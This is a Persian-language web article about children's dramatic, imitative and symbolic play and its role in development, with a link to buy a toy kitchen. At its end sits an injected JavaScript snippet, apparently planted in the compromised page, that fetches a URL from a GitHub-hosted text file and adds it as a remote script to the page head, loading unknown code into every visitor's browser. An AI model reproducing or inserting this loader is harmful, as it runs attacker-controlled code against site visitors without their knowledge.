بازی های نمایشی و تقلیدی و نمادین

انواع بازی ها و نقش آن ها در رشد کودک

بازی های نمایشی و تقلیدی و نمادین: یک محیط اموزشی برای خردسالان, کودک, نوجوان فراهم می آورد. که تمام مسائل اموزش وپرورش کودکان در ان بصورت غیر مستقیم لحاظ شده است. انچه در بازی نمایشی اهمیت دارد این است که تماشاچی وجود ندارد و همه درگیر بازی هستند. از طریق نمایش هوش و خلاقیت در کودک پرورش می یابد, اینده جهان نه از ان انسان های مطیع که از ان کودکان خلاق است.

کودکان نقاط قوت و ضعف خود را از جمله تمایل به فرمان دادن یا فرمان بردن, تهاجم یا تسلیم, افسردگی یا شادی, امیال یا ارزوهای خود را از طریق بازی نشان می دهند. کودک از طریق بازی برای بیان ارزوها و امیال خود به رویا و تخیل می پردازند. برای رسیدن به انچه که ارزو دارد خود را با بازی های تخیلی سرگرم می کنند. سرانجام کودک برای ساخت و پیدا کردن نقش مورد علاقه خود به بازیه ای تقلیدی می پردازد.

کودک سه ساله ای که به طور طبیعی رشد کرده بازیگری تواناست در این سن می تواند دانش و اگاهی خود را در مورد اسباب بازی های اشنا نشان دهد و اسباب بازی ها را به شیوه ای مشخص ترکیب کند. برای مثال جهت نشان دادن طرح واره غذا خوردن از توالی رفتاری استفاده می کند. بازی های نمایشی به گروهی از بازی ها اطلاق می شود که در فرایند شکل گیری استعاره ها و نمادها و توانایی کودک در استفاده مناسب و درست از انها از اهمیت اساسی برخودار هسنتد.

 بازی نمایشی چیست

بازیهای نمایشی و تقلیدی و نمادین از سری بازی هایی هستند که خلاقیت و اعتماد به نفس کودک را درگیر می کند. در بازی های نمایشی یک شخص, یک شی, و یا یک جریان به صورت استعاره ای مورد استفاده قرار می گیرند, مثلا یک تکه چوب را یک اسب در نظر می گیرند. کودک می تواند خود را جای اشخاص و یا اشیایی بگذارد که دوست دارد. با انجام این بازی هاست که نقش های گوناگون اجتماعی را تجربه می کند. با دیگران هماهنگی و همدلی را می ازماید و کم کم مفاهیم انتزاعی در نظرش صورت عینی و قابل لمس می یابد. در بازی نمایشی کودک شخصیت درونی خود را نیز اشکار می کند.

برای خرید آشپزخانه کودک کلیک کنید 

تفاوت بازی های نمایشی و تقلیدی و نمادین

اگر چه بازی های نمایشی خود نوعی از بازی های تقلیدی است. اما نکته ظزیف اینجاست در بازی های تقلیدی کودک سعی به تقلید نقش دارد. در حالیکه بازی نمایشی کودک علاوه بر تقلید نقش, انتظار خود از آن تقش را نیز بیان می کند. بازیهای نمایشی و تقلیدی و نمادین نکات مشترک زیادی نیز دارند. بازی نمادین نقطه اوج بازی های کودکانه است. که از حدود یک سال و نیم یا دو سال اغاز می شود. در پنج سالگی و شش سالگی به اوج خود می رسد و تا هشت و نه سالگی ادامه دارد. شروع بازی نمادین با شروع زبان گشایی کودک است. در بازی تقلیدی و نمایشی کودک با استفاده از وسایل مهد دکودک موجود به برون فکنی و درون فکنی خواسته های خود می پردازد.

در بازی تقلیدی و نمایشی کودک سعی دارد با اشیا و وسایل واقعی بازی می کند که بد نیست با محصولات بازی مشاغل که سعی شده مانند دنیای واقعی برای بچه ها طراحی و تولید شود بازی کنند. و با تمام شغل ها و وسایلی که در دنیای بزرگترها وجود دارد بازی نمایند تا واقعیات را لمس کنند. ( ماشین امبولانس ,دکه میوه فروشی, دستگاه پز, کابینت اشپزخانه کودک, … ) ولی در بازی نمادین عناصری تازه وارد بازی می شود. واقعیت ها تغییر شکال می بابند و اشیایی که وجود ندارند به وسیله اشیای دیگر به نمایش در می ایند. رشد تخیل در کودکی از طریق بازی باعث می شود تا در بزرگسالی تبدیل به هنرمند, مخترع, نویسنده, نقاش و صنعت گر شوند. مهد کودک و شهربازی مشاغل بهترین مکان برای پرورش رشد تخیل و تبدیل مفاهیم انتزاعی به مفاهیم عینی و واقعی است.

  (var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });)